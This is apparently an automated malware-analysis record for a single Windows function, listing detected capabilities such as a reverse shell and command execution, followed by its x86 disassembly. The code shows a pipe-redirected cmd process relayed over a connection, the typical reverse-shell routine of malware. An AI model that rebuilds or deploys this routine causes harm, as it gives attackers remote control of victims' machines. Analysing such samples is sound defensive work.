Function at 0x403b2b
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Execute shell command and capture output
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x2c]
sub esp, 0x44
push ebx
push esi
push edi
mov edi, dword [eax]
or esi, 0xffffffff
mov eax, dword [0x4697d8]
xor ebx, ebx
cmp eax, dword [edi + 4]
jle 0x403b83
push 0x4697d8
call fcn.0042bfb2
pop ecx
cmp dword [0x4697d8], esi
jne 0x403b83
push ebx
mov ecx, 0x469738
call fcn.0040155a
push 0x44c4d7
call fcn.0042be52
mov dword [esp], 0x4697d8
call fcn.0042bf73
pop ecx
mov eax, dword [0x4697b8]
cmp eax, dword [edi + 4]
jle 0x403bc0
mov edi, 0x4697b8
push edi
call fcn.0042bfb2
pop ecx
cmp dword [0x4697b8], esi
jne 0x403bc0
mov ecx, 0x4697e0
call fcn.004021e9
push 0x44c4cd
call fcn.0042be52
pop ecx
push edi
call fcn.0042bf73
pop ecx
lea ecx, [ebp - 0x28]
call fcn.004021e9
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], ebx
cmp byte [0x465a57], bl
jne 0x403d41
mov edx, 0x459598
mov ecx, 0x467d00
call fcn.00403fa3
test al, al
je 0x403ec7
push 0x4595a0
call fcn.004325bd
pop ecx
mov esi, 0x4697e0
push eax
mov ecx, esi
call fcn.00403f3f
push str._nF2
mov ecx, esi
call fcn.00402ca9
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
push 0x4696e0
push 0x4697bc
push 0x4697d4
mov dword [0x4696e0], 0xc
mov dword [0x4696e8], 1
mov dword [0x4696e4], ebx
call esi
test eax, eax
je 0x403ee9
push ebx
push 0x4696e0
push 0x4697dc
push 0x4697c0
call esi
test eax, eax
je 0x403ee9
push 0x44
pop esi
push esi
push ebx
push 0x4696f0
call fcn.0042ec60
add esp, 0xc
mov dword [0x4696f0], esi
xor eax, eax
mov dword [0x46971c], 0x101
mov word [0x469720], ax
mov ecx, 0x4697e0
mov eax, dword [0x4697d4]
push 0x4697c4
mov dword [0x469728], eax
mov eax, dword [0x4697dc]
push 0x4696f0
mov dword [0x46972c], eax
mov dword [0x469730], eax
call fcn.00402048
push eax
push ebx
push ebx
push 1
push ebx
mov esi, 0x467d00
push ebx
mov ecx, esi
call fcn.00402048
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov ecx, esi
push 0x459594
setne byte [0x465a57]
call fcn.00403f3f
mov esi, 0x469738
mov byte [0x465a68], 1
mov ecx, esi
call fcn.00401693
push ecx
mov ecx, esi
call fcn.0040172e
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.00402200
push 0x93
mov ecx, esi
call fcn.00401907
push 0x12c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x465a57], bl
je 0x403ec7
push ebx
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push ebx
push ebx
push ebx
push dword [0x4697c0]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [ebp - 8], ebx
jbe 0x403e01
push dword [ebp - 8]
call fcn.00432326
pop ecx
push ebx
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x10], eax
push ecx
push dword [ebp - 8]
push eax
push dword [0x4697c0]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 0xc], ebx
jbe 0x403df6
cmp dword [ebp - 4], ebx
jbe 0x403dc2
push dword [ebp - 4]
lea ecx, [ebp - 0x28]
call fcn.00402048
mov esi, dword [ebp - 0x10]
push eax
push esi
call fcn.00432340
add esp, 0xc
test eax, eax
jne 0x403dc5
push esi
lea ecx, [ebp - 0x40]
call fcn.00402198
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 4]
sub esp, 0x18
mov ecx, esp
push eax
push dword [ebp - 4]
jmp 0x403dd7
mov esi, dword [ebp - 0x10]
push esi
lea ecx, [ebp - 0x40]
call fcn.00402198
sub esp, 0x18
mov ecx, esp
push dword [ebp - 0xc]
push ebx
lea eax, [ebp - 0x40]
push eax
call fcn.00403f48
push 0x62
mov ecx, 0x469738
call fcn.00401907
lea ecx, [ebp - 0x40]
mov esi, eax
call fcn.004020b1
push dword [ebp - 0x10]
call fcn.004320f7
pop ecx
jmp 0x403e1e
sub esp, 0x18
mov ecx, esp
push 0x459594
call fcn.00402198
push 0x62
mov ecx, 0x469738
call fcn.00401907
mov esi, eax
movzx eax, byte [0x465a68]
xor ecx, ecx
test esi, esi
cmovle eax, ecx
mov ecx, 0x467d00
mov byte [0x465a68], al
call fcn.00402040
test eax, eax
je 0x403e93
push 0x4595b0
mov ecx, 0x467d00
call fcn.00402ca9
push 0x467d00
lea ecx, [ebp - 0x28]
call fcn.00402097
push ebx
lea eax, [ebp - 4]
mov ecx, 0x467d00
push eax
call fcn.00402040
push eax
mov ecx, 0x467d00
call fcn.00402048
push eax
push dword [0x4697bc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x459594
mov ecx, 0x467d00
call fcn.00403f3f
jmp 0x403e96
mov dword [ebp - 4], ebx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x465a68], bl
jne 0x403d41
push ebx
push dword [0x4697c4]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x4697c8]
call edi
push dword [0x4697c4]
call edi
mov ecx, 0x469738
call fcn.00401c6f
push dword [0x4697c0]
call edi
push dword [0x4697dc]
call edi
mov byte [0x465a57], bl
mov bl, 1
lea ecx, [ebp - 0x28]
call fcn.004020b1
lea ecx, [ebp + 8]
call fcn.004020b1
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret